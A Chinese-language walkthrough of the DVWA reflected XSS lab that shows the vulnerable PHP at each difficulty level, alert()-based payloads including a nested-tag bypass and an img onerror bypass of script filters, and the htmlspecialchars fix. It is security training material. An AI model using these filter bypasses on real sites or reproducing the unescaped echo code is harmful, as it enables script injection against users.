XSS (Reflected)

反射型 XSS

Low

源码解析

使用 array_key_exists 判断是否存在名为 name 键和值,若存在则输出,否则不进行输出;没有进行过滤和检查。

1
2
3
4
5
6
7
8
9
10
11
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

漏洞利用

直接注入一段 JavaScript 代码。

1
name=<script>alert("Hello Reflected XSS!")</script>

参阅

Medium

源码解析

在 Low 级别的基础上过滤 <script> 字符串。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

?>

漏洞利用

可以使用拼接的方法,过滤 <script> 后形成 <script>

1
name=<script<script>>alert("Hello Reflected XSS!")</script>

也可以使用其他标签,比如 <img>

1
name=<img src=1 onerror=alert("Hello!")>

参阅

High

源码解析

使用 preg_replace 进行正则匹配和替换。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

?>

漏洞利用

script 相关的代码注入失败,使用 <img> 标签成功注入。

1
name=<img src=1 onerror=alert("Hello!")>

参阅

Impossioble

源码解析

首先使用 array_key_existsis_null 判断是否存在名为 name 键和值;检查 Anti-CSRF Token ,避免 CSRF 攻击;使用 htmlspecialchars 将特殊字符转换为 HTML 实体,避免浏览器对其进行解析。

字符 替换后
& (& 符号) &amp;
" (双引号) &quot;,除非设置了 ENT_NOQUOTES
' (单引号) 设置了 ENT_QUOTES 后, &#039; (如果是 ENT_HTML401) ,或者 &apos; (如果是 ENT_XML1、 ENT_XHTML 或 ENT_HTML5)。
< (小于) &lt;
> (大于) &gt;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>

参阅